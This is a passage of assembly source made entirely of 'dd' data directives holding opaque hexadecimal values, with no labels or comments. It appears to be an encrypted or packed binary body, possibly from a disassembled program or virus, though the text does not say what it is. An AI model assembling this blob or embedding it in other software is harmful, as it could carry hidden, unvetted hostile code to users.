0E817C200h, 0FE60E53h, 0E60FC50Ch dd 0CEB0C51h, 0E518C20Fh, 8D1ED952h, 408D8A6Bh, 8BD26594h dd 438A8D64h, 59D4678Eh, 0C3C05CF5h, 8B7C9F21h, 6F12611h dd 0BBB65FB3h, 0EFB538ADh, 0EA1h, 96A15083h, 0CD4AA747h dd 98A35280h, 0CA4DB049h, 97A45183h, 2EC85B18h, 0D1054CCFh dd 2BCA1724h, 0D5024FCCh, 3A941522h, 21C307A1h, 0CACABF9Fh dd 995C7E13h, 720B7330h, 9ADF02D6h, 0F948938Eh, 0FA6987DCh dd 0F5AE1FDEh, 1FE4BF2Ah, 44B163AEh, 963709DAh, 368F6E87h dd 4E23841Bh, 8A8D4AADh, 0D3694F30h, 0DB6E6599h, 6C0BCB20h dd 8EFFFE17h, 38F502D5h, 841C3D1Dh, 6F8E2A0Eh, 78E6B896h dd 0D32CBA3h, 359CA015h, 0AA5307B0h, 9F26251Eh, 9518CBC6h dd 0E49FF9BEh, 0CC095AFBh, 0B4395D64h, 45AC64FDh, 87548F44h dd 0E97EBD74h, 0C5B73768h, 7BD44679h, 58E431A2h, 74F96120h dd 0F7AC973Ch, 0C1997D54h, 6ED0B9FEh, 8D00FD19h, 37F601D6h dd 4F943C1Eh, 0E0F958A5h, 0E97FDA1Dh, 6D5D6165h, 0FDDC6811h dd 89885E9Eh, 0F78CE456h, 0F6AD20DDh, 40B75C21h, 62FB63BBh dd 5E9EFDC6h, 0E938837Eh, 98F029CCh, 75E979B7h, 0D93B074h dd 42750000h, 0B959A8B3h, 4472BF3Ch, 0BE57A6B1h, 4375BC3Fh dd 6926A5B2h, 3ABD40DAh, 2532BFF3h, 3DBA39D8h, 2734C3F0h dd 15AF48A6h, 0D19F21C0h, 0F126DCD8h, 13BC1406h, 9ADF0289h dd 10793E35h, 7BE312C1h dd 1FC2E16Ah, 0DA1D3633h, 0DEC0FC5Dh, 1D3E9ADFh, 0EA23AA0Fh dd 74875425h, 1AC29CBDh, 68D124D5h, 9ADFBCDCh, 0EC4E8988h dd 0CBE17384h, 0EAD46451h, 7CED4C2Dh, 7DD59CDEh, 218C48D4h dd 0FF58F49Fh, 9F218C65h, 1ADD22E1h, 165BC3BEh, 0BC9712E5h dd 32B71FFFh, 9F747588h, 15E0155Ch, 9824CD25h, 449F218Ch dd 26B9744Dh, 692DC767h, 0A951A9AEh, 2196B450h, 971309Fh dd 2196D470h, 4691909Fh, 0B21BDAF7h, 482AB55Fh, 5185CA42h dd 0B636699h, 28A15486h, 32E1B06Bh, 0B62BB51Eh, 129C9F21h dd 4A9F052h, 53908375h, 0BD14B48Ah, 905495A7h, 0C9Dh, 92A5547Fh dd 0C94EA34Bh, 94A74E84h, 0CE49AC4Dh, 93A8557Fh, 2ACC5F1Ch dd 0D50150CBh, 27CE1328h, 0D1064BD0h, 36981126h, 21C1039Dh dd 0CECEBB9Fh, 1406F126h, 438FBF43h, 0E1520BCEh, 0AE946D86h dd 34A5727Dh, 767F35BAh, 10E70E73h, 0BEF9C69Dh, 0CBB3426Fh dd 30449546h, 9DF1F2E2h, 4C07823Dh, 27821E8Fh, 919DBE94h dd 0F1EA193h, 5186CB10h, 0DAA3B4A6h, 6B9826C6h, 66E863B8h dd 8874D22Dh, 72DBEh, 61E03200h, 0BE7DD648h, 0A69CDE48h dd 349DB361h, 9F21B8A8h, 55A25D14h, 0E682DB73h, 5E9F21B8h dd 0DDFE60A3h, 2251B1C1h, 8FEF2CDFh, 0F576A2E7h, 0FFEA35C0h dd 6D8AD724h, 0E004226Ch, 0AC4A9A74h, 0F1499649h, 0E7F769Ch dd 20DFF855h, 2621F6ADh, 39C32CC4h, 0A59F2102h, 1B1E29EEh dd 65129BE4h, 5BA8C986h, 184D6E03h, 0D390F9F8h, 5BE2CB10h dd 24D29D8Ch, 928853AEh, 0BE2D749h, 82DAh, 57005800h, 0E64D0DCDh dd 533D7A79h, 369F5DE0h, 9ADF02AAh, 0BAA45F12h, 0B9B879A9h dd 48670837h, 0A06340A9h, 638B15BEh, 40339ADFh, 0A33BA37Bh dd 0DF63AE3Ah, 0F005AB9Ah, 0BFB226FDh, 638721FCh, 443F9ADFh dd 26DF09DAh, 0EA932623h, 0A6FF531Fh, 8A4D51F1h, 0AA4A9F1Fh dd 3681624Bh, 375509D3h, 5D231FAh, 0D07C60Fh, 155768h dd 6D70000h, 7D75F8ABh, 8CF8C303h, 0A0577E13h, 281B95Bh dd 0E03B0000h, 0E449445Dh, 212CF615h, 9FFBC47h, 0F0876D0h dd 3D61h, 648CE100h, 0E0664A8Dh, 0F104B25Dh, 9B43BB2Eh dd 0DF02A642h, 0EF451E9Ah, 0DC6C3315h, 0CFAA6DB2h, 212CB459h dd 9640C539h, 0FCBF9467h, 8B0CD06h, 0BC58AD0Fh, 44974C3Dh dd 9F9Bh, 0F2131100h, 0BB29BCF7h, 25CC03BFh, 2F0A1DDAh dd 30DF2416h, 2329B31Ch, 0DE959ADFh, 0DB74D621h, 9ADF2341h dd 0B170E8FDh, 9EF45B2h, 0D82D0DD6h, 13D0B938h, 0F0D442B2h dd 0E92E7C22h, 2231DC18h, 0D72016A1h, 0B788740Bh, 39AFF7A6h dd 2D04A84Ah, 0A57E6F86h, 46A952h, 133F0000h, 0D69B5A7Eh dd 0FBD8D124h, 0F7122BC0h, 0EE87EF87h, 9ADF0252h, 69C4170Ah dd 9ADF02D9h, 0A8AB8A89h, 875437F6h, 74DE4891h, 2DE32888h dd 2C0EC5C8h, 0DF0A39C3h, 29EEA59Ah, 702h, 90C9F600h, 2B000001h dd 9E597E13h, 81A3782Bh, 144h, 11DEDCFDh, 6C65E434h, 7E1345AFh dd 0C89D8059h, 43ABFD73h, 81560D80h, 0EC08B376h, 2368D20Dh dd 0CD8607EEh, 0DB1E9F0Ah, 1ECD08CDh, 0B98CFDF8h, 0F6A99F89h dd 0D9F958F6h, 1E8F6E8Ah, 910F7A45h, 474A532h, 73BCB285h dd 5333248Eh, 0F2DB1ABEh, 0C135E631h, 0AB000000h, 976DF213h dd 0F9133793h, 0F51029BEh, 7A50EC85h, 0E68E9ADFh, 0DF7AF38Dh dd 63B86B9Ah, 5BB08A89h, 0EE11AAB9h, 95BDB831h, 3A0C6DA0h dd 0AF1ADD22h, 0FFE8AE4Eh, 0C62BE3FAh, 9B5A7EC3h, 0F61C7132h dd 40A94C6Dh, 9B2DA063h, 0DA3A6BF0h, 4F1256Ah, 9DF5CB7h dd 616CBFF8h, 0A378D1C6h, 546C72ABh, 4A0368h, 0E0F90000h dd 81DA445Dh, 9ADF02E7h, 0C529A45Fh, 23D09140h, 0C5FAD9D4h dd 71CC0FC4h, 35FF37CBh, 9DF5CE7h, 2F7C0871h, 116AF7FFh dd 0F7FF2F77h, 0ABC834EFh, 0F83021F0h, 407B48BEh, 54C375BEh dd 0E110551Bh, 1116C512h, 8A000000h, 76C9h, 0B41DB500h dd 9ADF0228h, 0B61ADD94h, 8306F126h, 0C72EE62Bh, 28C19F4h dd 2DC79ADFh, 4074DDD0h, 399838B1h, 87B4D7Eh, 5CF55D33h dd 9ADF02C0h, 0EB32857Ch, 482C2FC6h, 9B25DE0h, 0E320F3F6h dd 597B1076h, 0D61FD59Ch, 0E0CDB601h, 30C5EB80h, 0ECC398EBh dd 9ADF172Eh, 0D1B901F9h, 9B488874h, 5CFFFFFEh, 3B9C9h dd 0B41DB500h, 9ADF0228h, 8A6E8F29h, 26604497h, 0B83F74F1h dd 0B9A15E35h, 78718034h, 8E1AC39Bh, 369ADF02h, 0B10D803Bh dd 0EBB535D0h, 11E61A48h, 0CB50A74Ch, 0E6CA0140h, 0CE2A1CDAh dd 724CD881h, 0F9F89ADFh, 0B921F9C6h, 0A1767D34h, 0A043F7C8h dd 33B66D9Ch, 787F36BBh, 599E75h, 9F264358h, 986EE958h dd 430D9740h, 0AC4E9F26h, 19836049h, 549D9D5Ah, 0E5827B9Dh dd 68h, 126B13FBh, 9ADF0276h, 0BA5E33EEh, 0D66B803Bh, 0BB08F521h dd 301A8263h, 74B9DCE8h, 652EC7A7h, 9B9CA00Fh, 75DE76E8h dd 9F260FEBh, 0C662FB53h, 7E9F260Fh, 75DE4083h, 9F260FEBh dd 725BA053h, 260F4D0Bh, 8D96D9Fh, 32EB4A25h, 74CF0CF7h dd 557C11E7h, 98E1599Eh, 78827B4Fh, 0B435BCF3h, 0F5F31CDFh dd 9000000h, 9E597E13h, 28913BCh, 3E359ADFh, 0F8FFB479h dd 0E66A8CF5h, 0DF02F38Dh, 6BB86B9Ah, 9B5A7E13h, 33A67132h dd 0DBCE29CEh, 0A1B64176h, 0DF1E7148h, 0F71C719Ah, 3DB0476Eh dd 73309966h, 0B93CD9A8h, 7194A93Eh, 0A74E8409h, 0DFCA2DCAh dd 0FF57B704h, 5A7DC8DEh, 0CF9E2FA2h, 2801D623h, 9CA3BCAFh dd 44E079D5h, 959F243Dh, 70239560h, 0C1126195h, 649FCCB1h dd 0B24375FAh, 0A430B7C8h, 7AE8A6D0h, 4173BA3Dh, 301B69B4h dd 0CD00A7C0h, 73027h, 18E71200h, 0DF16BE03h, 16DF155Ch dd 0DC1BBC01h, 15E8125Fh, 3DCE8902h, 90DD5A9Bh, 3B829564h dd 93DA5D94h, 984975Eh, 0CBB04CA5h, 7B2C9F21h, 6FF42681h dd 7EE2546h, 0CD12CD86h, 365B8C6Dh, 931BA54Eh, 0D0C39ADFh dd 0C5437BF5h, 0BA8F5F2h, 670F6FECh, 0DFA5720Eh, 0F719EA9Ah dd 12761BE8h, 34A05BA8h, 3F74F126h, 0FC826BB8h, 6CAF4E67h dd 0B60F025h, 0C2A10CE9h, 0DF02CD57h, 0C9E8799Ah, 502AF52Ah dd 0EBDE13BBh, 668E338h, 8977A9F5h, 397E4AA0h, 4768FAEh dd 28A1507Fh, 25CEB06Bh, 9CA08F68h, 0B9A1BD96h, 368CE871h dd 0D77091E9h, 0C4DE4945h, 0AB127B40h, 9F262613h, 0FA03D833h dd 93629043h, 0A13B941Ah, 1D9F2626h, 0E9489966h, 8EA12788h dd 81DA447Fh, 9959D514h, 3B91720Ah, 1A99E790h, 7B3AC6B7h dd 0EFA29ADFh, 49B24A34h, 9ADF7BBFh, 0ACAF6C27h, 0E015BD52h dd 8372A4EDh, 0D1707B40h, 46C6EC9Ah, 659A4CB6h, 0B54470F5h dd 0C29C5F34h, 0DEFAD219h, 567D129Ch, 0D70CE90Dh, 0DEBAFDD6h dd 5B63B23h, 6B8AF7F2h, 7D42218Ch, 658BE03Ah, 84962572h dd 213351EBh, 0AB160D9Fh, 35EA4554h, 0E737C722h, 91409F21h dd 6F2BD562h, 0C9000000h, 0DF024A12h, 0FD176C9Ah, 21B88D00h dd 5755FFF5h, 38C318CBh, 1160DBF4h, 0A25180E3h, 0C7B76C27h dd 0FB3AC62Fh, 0EFA29ADFh, 0A03CC12Ch, 0AC9ADFFBh, 57AC8255h dd 935039B8h, 1ADBF948h, 0BC15BD1Dh, 9ADFFB20h, 0E06EC79Ch dd 0FCC334B2h, 862DF4C7h, 0D1BC39DDh, 61DCCD12h, 9ADF5EC4h dd 0E68FE797h, 9ADF5E5Ah, 77CC0F02h, 3F221E4h, 0F2130CF8h dd 9D71D0BFh, 958A330h, 1CA20BEAh, 0E1CC29C7h, 0D64E9F02h dd 94CDACE2h, 77DBFA47h dd 6FEA76DFh, 9F529ADFh, 0DF6F22BEh, 77E79A9Ah, 0DF6F42DEh dd 0BC07FA9Ah, 67F44FD1h, 0F490E991h, 709ADF6Fh, 8508F51Fh dd 77C611CEh, 2CC19958h, 0A2816C8Bh, 0E078D255h, 0DF6FED77h dd 9476629Ah, 3AD906BCh, 0F558A35Eh, 9ADF2B53h, 0B6B0E872h dd 0F98E8874h, 2EDD1ADBh, 0FFFFFF18h, 5A052B4Ch, 9F1AB1FDh dd 7E13785Ch, 0C3B37F58h, 0C70E597Fh, 7BD291FCh, 72319C59h dd 2A3BD8A5h, 0A57E6F8Eh, 466B005Ah, 7C653EAFh, 0A8FD3E23h dd 584196F1h, 5129CCE9h, 1E5FF430h, 52A5BF79h, 88DD75D5h dd 461D906Fh, 0DF5B49D3h, 0B9FEF59Ah, 0A8510F2Eh, 9ADF5B1Ch dd 4C84C9C8h, 0B46F24A5h, 6A5C31CAh, 7D029CA0h, 0C662FB55h dd 7E9F266Ah, 964D4083h, 0F089F149h, 9F266A54h, 0D3C61110h dd 0FAE98A5Bh, 9FBB8127h, 555B015Ch, 0EC579F26h, 8740796Fh dd 59D1827Bh, 71000000h, 0E3172D90h, 58A3987Dh, 4861E06Ch dd 956891D6h, 52663F14h, 0D122D09Fh, 0E991E92Eh, 5A4BB818h dd 8A4D76D1h, 0A00CE2AFh, 6861209Ch, 260C4705h, 9B5A7C9Fh dd 0C633DF32h, 815635C3h, 0DE59E850h, 7D077008h, 7E9F260Ch dd 453CA057h, 0D43F7872h, 0A2D0827Bh, 0E4000001h, 1406F126h dd 28913BCh, 3E359ADFh, 59AE1079h, 0B67B40BDh, 19A34C04h dd 0C59ADF02h, 79036CCEh, 0E59ADF02h, 489F12Eh, 0A84825CCh dd 38836049h, 0E891E945h, 9ADF025Ch, 6FB80908h, 0F39391B3h dd 0DE135A9Dh, 59A64F85h, 60790E70h, 9D10E50Bh, 6FBEF9C6h dd 2F32142h, 0DAF9CC87h, 60343659h, 1257C7FCh, 0BD9617E6h dd 66B14070h, 0E43188E1h, 0C9319ADFh, 0DFFC9430h, 0FC51509Ah dd 96DB20D7h, 29819661h, 0C4C52CE4h, 679C597Dh, 0AF28CD94h dd 76B3AB7h, 0B297FB22h, 8FE43889h, 15E0155Ch, 0F51B70CAh dd 1D68D00h, 0F3451698h, 8A3E3F43h, 21202BF0h, 0B260F7EAh dd 0DFCABF49h, 996C279Ah, 914E35D0h, 45AC64A9h, 14C28F44h dd 0F02BE8E1h, 0BD84E58Eh, 14BC9CA0h, 268521BBh, 74E69D9Fh dd 268541DBh, 0B106FD9Fh, 0BF1F1CD7h, 0AF6C8B2Ah, 9A84A59Ch dd 5A898E41h, 466BF499h, 850A74AFh, 6E3CA550h, 0F9F1C41Ah dd 18C09A5Dh, 1FEFE347h, 0CCDF8553h, 0EC376421h, 420FCC17h dd 8D17C098h, 0BB9ADD4Fh, 0DD4F8622h, 59433E9Ah, 70F5659Ah dd 5F34B544h, 2474DE86h, 0CA0D6121h, 27D6004Dh, 0B9B5A4D6h dd 0A84C7DADh, 2B5h, 7A7D7C97h, 0E1767B33h, 7C7F769Ch dd 0E6718435h, 7B807D97h, 2B44704h, 0FD1968F3h, 0FFB6FB00h dd 0F91E63F8h, 1E80F9FEh, 21CF2BB5h, 0F6E6939Fh, 0F601F426h dd 0B9590AA7h, 0C697873Ch, 703ADEF8h, 77D5924Ch, 9ABF8859h dd 3F9F9C5Fh, 0E8B51A1Eh, 3681019Dh, 0B661E04Ah, 44B36401h dd 8A550E7Fh, 8F3748B0h, 9A0738Bh, 3906E590h, 0F0215068h dd 0D841522Bh, 0C4BF9CA0h, 14E1155Ah, 58D6C7h, 26D8CD57h dd 3D7A799Fh, 26D87CDCh, 975E959Fh, 0F005AB16h, 965D94FDh dd 95EC4013h, 28A391C2h, 6E9CBD93h, 3921C400h, 0DA750F68h dd 32F19F26h, 0E7302AEDh, 0C7827B0Ah, 24D29342h, 0C8FBD8D1h dd 139CCF3h, 13E00000h, 276126Bh, 33EE9ADFh, 797C99E8h dd 49A84CA1h, 4B61B8Eh, 2675F8F1h, 319ADF1Eh, 9923CC84h dd 0C79ADF06h, 0DF06922Eh, 65574A9Ah, 0C4FFF61Ch, 0B5FCFFh dd 0D40085F5h, 64DD780h, 0FAF99ADFh, 0CC0FC4C5h, 0F2132AE1h dd 739BF088h, 6E480D9h, 0A1609ADFh, 0FBC0995Eh, 699CA02Bh dd 80EE828Ch, 2B02D54Eh, 0A67D7085h, 0D47CDE59h, 2678E17Bh dd 3B885D9Fh, 0CF5FF5A9h, 4ED91EE1h, 1F64D6EFh, 54B601F0h dd 5A1DE9FBh, 0E70C5599h, 266BD310h, 0B14070F5h, 25A85B38h dd 29D1A96Eh, 424EE058h, 0B04BBCC5h, 188870F4h, 0C1904B98h dd 569D5417h, 4B2C8E89h, 1E091109h, 76BB00E7h, 3868B144h dd 15ADB96Bh, 12310D4h, 0D2050000h, 29C91823h, 0D4024FCCh dd 2EC71621h, 0D3054CCFh, 0D9961522h, 0CA4DB04Ah, 95A24F83h dd 0CD4AA948h, 97A45380h, 851FB816h, 419F21CDh, 0F4264C48h dd 0CAB4416Fh, 0DF029731h, 8F544F9Ah, 3BBA5AAFh, 42237B80h dd 4818C00Ah, 0D656EAEAh, 2E72ECCh, 7E33FABDh, 4C9F29D2h dd 4C479ADFh, 0E52A8497h, 75E0C134h, 0C3FA8BCBh, 261D8754h dd 3E8306F1h, 4ED95E99h, 0C28E44EFh, 0DF028F19h, 873C379Ah dd 0A8924D06h, 0DE48EC4Fh, 4703D49Ch, 39B8576Eh, 0A1329350h dd 8E6AADCDh, 0AE66AB93h, 0D7FB4647h, 2FF4AF1Ah, 5C7D01ECh dd 75A1C9FBh, 2D781D88h, 0E70C51A6h, 649F567Eh, 0E56D8AD7h dd 21D1F08Ch, 6AB56C9Fh, 2B09FE7Fh, 2843D392h, 8E28BD93h dd 9D7C7551h, 0F22DC6F3h, 3CBB5825h, 944572BFh, 84356E87h dd 4A9B7871h, 5882B13Ch, 0B46F24A5h, 6B007E6Fh, 0FDF41B44h dd 0A10CD78Ch, 8F28F5C2h, 740F7D70h, 8EF24E7h, 0EE09AEF3h dd 0F39FBh, 34450000h, 9A5FD5B1h, 5AD841Ch, 0D8C92BF0h dd 4F3261Ch, 5C9B3889h, 2F12071h, 5F9E3A87h, 4F1236Eh dd 5F9E3889h, 3F2236Eh, 5C99378Ah, 1F02071h, 3968F688h dd 8900004Bh, 0D268243Ch, 89000061h, 69682434h, 8900006Bh dd 6857242Ch, 67DC15E7h, 41BA525Fh, 0C10CAE53h, 814A02E2h dd 5249CBC2h, 81DAF708h, 5C1B9C2h, 5AD709B1h, 0A4F78147h dd 89720084h, 8B545FFEh, 0C481242Ch, 4, 6E2468h, 24348900h dd 8B08458Fh, 8953242Ch, 4C381E3h, 83000000h, 1C8704C3h dd 348B5C24h, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h dd 0FBB33CE9h, 0B48E1BFFh, 0FED069B8h, 0FFC50305h, 4692B9E0h dd 154B8F77h, 0DBFA7C15h, 4BD6FB63h, 0F6CD875Ch, 7ACDA34Dh dd 37602216h, 0B9E60Bh, 0D0280332h, 293F13Ch, 78D4B826h dd 0DA83E219h, 7C0C9368h, 7FD7C503h, 8CA7CF31h, 0A027617Fh dd 0F4F84407h, 0F8EA6F54h, 8AAB8D46h, 0F37DBD4Ah, 0A766360Fh dd 0A52B3018h, 28834A4Dh, 0E7815671h, 7368136Fh, 939AB2Eh dd 6597CD72h, 0C19D8D6Eh, 0B805F92Ch, 3Dh, 12F18589h, 0E805F9h dd 58000000h, 0D05h, 0E9038900h, 3Dh, 0Fh dup(7C800000h) dd 0AE8FFh, 9D870000h, 201C93CBh, 2BCDE2FAh, 8B86F381h dd 8B584D8Fh, 0E0C081D0h, 81000061h, 94472DDBh, 6878h dd 0F510000h, 58Ah, 0CA816600h, 5F5BFE27h, 6E8h, 0BE8A0300h dd 0E9E79D8Bh, 0Dh, 0C9469A69h, 16B46FF5h, 0D6FAACEEh dd 34FF5A52h, 88D0F07h, 0F000000h, 284h, 59F08B00h, 7E8h dd 0D6033D00h, 942C31A9h, 815ED08Ah, 0B169D3E9h, 0CFBA6643h dd 0B4C181CFh, 66280C66h, 0F181D68Bh, 674EBF6Ah, 89DA8B66h dd 8166380Ch, 0BE410ED2h, 60B7B66Dh, 6004EF83h, 30F5DA81h dd 0CE86CEFh, 4D000000h, 0ADE6A43Dh, 2A4BA5DBh, 0E9A8614Bh dd 0Eh, 994B62A9h, 0FEE49C76h, 0DE99A394h, 615EAC0Bh, 9EF4FF81h dd 850FFFFFh, 0FFFFFF7Ah, 8D8D90B2h, 5FED353h, 9E9h, 14D6E400h dd 0C6054A49h, 8D897E11h, 5F90CDDh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0A2C35343h, 77CA353Ch, 34841F3Eh dd 6618D89h, 0F68105F9h, 0CE73FA5h, 85C7D98Bh, 5F926C1h dd 5C40h, 0FD85C7h, 5F9h, 95890000h, 5F92A55h, 32E9B5FFh dd 6A05F9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h dd 0D39635C3h, 0F0492A51h, 0E1816660h, 0BD894C31h, 5F93325h dd 0D595FF61h, 8905F920h, 0F908119Dh, 0FF006A05h, 0F91AED95h dd 0EBC08B05h, 5EADFB1Eh, 0CCA0DC21h, 0DC2E6C1Bh, 1021CA87h dd 0BA936933h, 18FB1F3Bh, 0AA6B09BEh, 0EBCF9E3Ah, 60h dd 17h dup(0) dd 10F4E900h, 0E8E90000h, 68000010h, 5FEE039h, 0FAAB21E9h dd 0E21368FFh, 17E905FEh, 68FFFAABh, 5FEE294h, 0FAAB0DE9h dd 0AC658CFFh, 9E714D78h, 0AA597F66h, 9F665372h, 95725A7Dh dd 1F5CD56Fh, 2D984CBBh, 1DC87C8Fh, 2E994BBEh, 1AC87C91h dd 0B1BBBE5Dh, 93382397h, 8A31CEF5h, 0BB5B0E7Fh, 0C079923Ch dd 80759437h, 965C85A9h, 9E46C527h, 0A3459637h, 8FCC6D60h dd 299685EEh, 0BE73BE6Bh, 4A8D3037h, 0BA6F66A3h, 0E46FCA6Fh dd 29968599h, 1CC56916h, 0C528B11Bh, 80548D44h, 4F05DDFCh dd 0B251775Bh, 6B0ED777h, 27836954h, 2A83C0A7h, 0ADFD61Bh dd 32E505E4h, 963A5821h, 0E128D529h, 28DF0BECh, 4E606F1h dd 28897B50h, 9419D0AEh, 0F1B831C5h, 0E20E506h, 0F0D9FADFh dd 0C441AA15h, 18E1880Dh, 959E82FBh, 9502FF29h, 0B140D639h dd 2E4F0C07h, 0AB29959Eh, 0F10E33FEh, 0E2B73EC9h, 0E9D6934Ch dd 2F10500h, 0EF0831DEh, 0E1B83DCCh, 9006944Dh, 9EC0B95Ah dd 403D2995h, 9EFF7A99h, 7F7C2995h, 0C2288F4Ah, 379D4C41h dd 71088F6Fh, 5CD97DFCh, 388C2FA5h, 0CF25EA06h, 1582400Ah dd 8FC254B7h, 2F94E366h, 0F40B36F3h, 78A143CCh, 1C458894h dd 0A47F55AEh, 0F26E80E8h, 23E20769h, 0E225C5B2h, 0C037E227h dd 0C9F4EB1Ch, 7A9C4D40h, 0D8DF9EBDh, 0B7542396h, 96D8E19Ch dd 496F5E23h, 7FBA6FBAh, 0A1B55678h, 0BA16A148h, 65896055h dd 4C726986h, 0D61BCEBFh, 0E12A942Bh, 1F193DECh, 0AA638C01h dd 8CFE9D6Fh, 0C69BCACDh, 31CE0A30h, 0A0797C87h, 0FF9B558Eh dd 0D1143466h, 8A31CE6Fh, 0BB5B0E7Fh, 2F526A56h, 754B50h dd 6B960000h, 9685CDB0h, 0C22B4A26h, 0B519864Bh, 0CE7EB45Ah dd 8595E873h, 15122996h, 7EF811BFh, 80966E8Ch, 0D3FB7DE4h dd 0B34CF53Ch, 2D17E509h, 66B19004h, 0DF6F2AABh, 3E46CE59h dd 0A11617B6h, 809B98BEh, 299660FDh, 69379D7Ah, 0DB3716AFh dd 9AE598A3h, 0A5622995h, 7ACEBC6Ch, 76AB648Ch, 85ED90CBh dd 0BD6A2996h, 696C9942h, 12989EB0h, 6B8A2Eh, 0FFB60000h dd 66174466h, 0E3299685h, 0CE3DEB26h, 0B452A173h, 0FC2C5471h dd 95DC1E5Fh, 23EE9B29h, 0DC3D4013h, 22D72995h, 0E873CEFEh dd 29968595h, 40AA1512h, 3B0633C3h, 85245506h, 0C7A12996h dd 0A2510B06h, 313DE7Eh, 0D046CE3Dh, 0D4D58DDFh, 0F4DC1B3Bh dd 0BF0A05E9h, 983D9D1Ah, 9B12D738h, 0C43C3DDEh, 0CCB92995h dd 124BF105h, 3169FF2Eh, 0CCDB3108h, 45358B50h, 35D6F8DFh dd 20982E21h, 5C7B2F8Fh, 81866671h, 74588148h, 35F6770Bh dd 0B039DDF0h, 9CA05623h, 1DE6D423h, 0DD2C8F98h, 770211D8h dd 0F4239CA0h, 4522507h, 1B47BE5Ah, 8A836C53h, 53BC2403h dd 0D993789Eh, 9E48D6B8h, 2B4h, 1A1E6B61h, 0D2CA0619h dd 64FFF63Ch, 35500B36h, 0A2299685h, 851366F5h, 61902996h dd 4D1C917Ch, 0E8443084h, 0CF2A995Dh, 0E9D6931Ah, 0DA8F0601h dd 0C318B534h, 2702F31Ah, 0CEE43AE2h, 0DA7C8731h, 0A65BB21Bh dd 7238B019h, 0D6FF0Ch, 0CD73834Eh, 7582B782h, 6742B356h dd 9685B1CCh, 44C32729h, 79269851h, 66FF5FD5h, 31CE1434h dd 0B515828Dh, 9C72BC52h, 367646CEh, 0E75C7DDFh, 0BDEC247h dd 92D7502Fh, 2A000000h, 2C3944CFh, 0BAF2696h, 0F91D0AFCh dd 3466FF43h, 8A31CE14h, 77C26F7Fh, 24A95A80h, 1A631F58h dd 0C900C2EAh, 0E3572225h, 0A80F2995h, 0E6EBC142h, 2AA75174h dd 8A54DE1h, 95DB324Bh, 5029EA29h, 0CD2995DBh, 0C631EED0h dd 3EEBE227h, 31CE55F3h, 0A0797C87h, 8C5FA18Eh, 0CB76AB64h dd 0D808934h, 85BEBF5Ch, 4E3B2996h, 46CE92A8h, 2116044h dd 1F58FEB1h, 0AA5D7D7Ah, 90CB7623h, 299671EDh, 0A399BD6Ah dd 7C8731CEh, 5D8EA079h, 3Ah, 3466FFA3h, 0DCCF20Dh, 279059ACh dd 8BB145C4h, 7D8831CEh, 0BEBF5CD9h, 76299685h, 85ED90CBh dd 0BD6A2996h, 0C96D9A42h, 0CE69974Eh, 787D8831h, 60A08DA1h dd 7DAB648Ch, 46CE2E12h, 8CFE6D5Fh, 0E48096D5h, 37D2F97Fh dd 69FEC6B6h, 0C74D8D57h, 112C702h, 29963E84h, 6E0F4CE9h dd 0EB29963Eh, 0F502F33Eh, 0F30C35D8h, 0E2B73EC5h, 0CE4CE24Ch dd 3DBF2046h, 2DC111E7h, 3CEC21BEh, 73CEBE82h, 968595E8h dd 0AA151229h, 3430C643h, 3BC47DADh, 69A44992h, 0DA7CB564h dd 6468D164h, 6A7A6F9Fh, 0F1D7C042h, 0CE36FC12h, 8BB4D46h dd 93A3AE4Bh, 2F9A127Eh, 649350h, 516E0000h, 900D836Bh dd 0F23478DAh, 0FF211737h, 0CE143466h, 0AB648C73h, 85B5C88Bh dd 526D2996h, 41189D6Ah, 9FD1906Bh, 0CA6C0480h, 71984332h dd 567681B8h, 0C96D3CB1h, 0A173CE73h, 82FB6AD0h, 0AE84AA73h dd 962646CEh, 1E35A62Fh, 8D5F9F8h, 0EAB22E3h, 96152C4Dh dd 35FCA929h, 2E124CFCh, 628Ah, 73CEB600h, 968595E8h, 2CE30B29h dd 0DC339BBAh, 25C900D9h, 0CE72A039h, 8DCE73CEh, 299685ECh dd 0B79ABC69h, 299685C6h, 0AE59817Eh, 0C59A7227h, 0D7A6107Fh dd 9643CE60h, 0CE7ACE72h, 0D808B31h, 933BBA5Ch, 6F66A34Ah dd 6FCA6FBAh, 968599E4h, 0C5691629h, 9027126Fh, 0CDDADB2Ch dd 0C0991CEFh, 0CE4FE509h, 8595E873h, 15122996h, 193F001h dd 0AE490000h, 2F4A090Eh, 0AC299685h, 1E143AEFh, 0DA0464FFh dd 24EDBC31h, 661744FDh, 0E3299685h, 0F8231026h, 2996858Dh dd 2DD40DFAh, 96858BEEh, 0FB1B0829h, 25E805F2h, 2FD603FCh dd 8530490Ah, 0F0AD2996h, 8C3AD45Eh, 0CA6FAA63h, 9685F089h dd 93C06D29h, 299685EAh, 9D6FBA67h, 1ADFE2F4h, 76BC52CBh dd 828D31CEh, 2FB85E0Bh, 0BD506D8Ah, 67CD6138h, 0D8DB46CEh dd 0F230387Ah, 0AD20E305h, 970E5AFCh, 0B8639E43h, 299600C5h dd 8BB14542h, 46CE6FD1h, 0E2E22173h, 51B65808h, 502F3F6Fh dd 871A257h, 85269619h, 63AA7698h, 7C000000h, 808B31CEh dd 376BF26Eh, 611C3702h, 0DE299685h, 85572231h, 27D42996h dd 0CEE64CE2h, 9685EC8Dh, 8CBC6929h, 2B7546CEh, 193F13E0h dd 799D54AFh, 0FE8F85BCh, 8EF8E928h, 8C88AE40h, 0DDA0BB64h dd 5A299685h, 0CEC464ADh, 0D97D8831h, 0DDFEF9A0h, 8A300628h dd 8Dh, 15325DAFh, 0DCCB0421h, 46CE043Ah, 0FAA25CB3h, 0D72C8E50h dd 0C447A512h, 7BAF3632h, 0D71C4EC6h, 2A2D5E49h, 95FD90E9h dd 0D9100D29h, 46CEFF35h, 9049F80Ch, 7434CBC9h, 603D2443h dd 6BA885A9h, 29964E12h, 50C47DACh, 0C967B7FAh, 5DE37351h dd 0CAC946CEh, 6EA86894h, 0CCC14C71h, 0C3CF91Dh, 3FD846CEh dd 189F785h, 42D43996h, 0E9D20BB3h, 0CE33D51Ch, 9BB1C246h dd 0F204C6E8h, 0B517A089h, 4F8A5F56h, 95B7B9C4h, 0A5493629h dd 0E873CE8Fh, 29968595h, 12F9E312h, 17B837D7h, 0D23AFFF6h dd 750FB536h, 707F8F91h, 0A9668A4Dh, 0A65BBC60h, 535AB519h dd 72047586h, 9FBC2996h, 299671DEh, 1938AE5Bh, 845558B3h dd 0A16E524Dh, 8C815E8Dh, 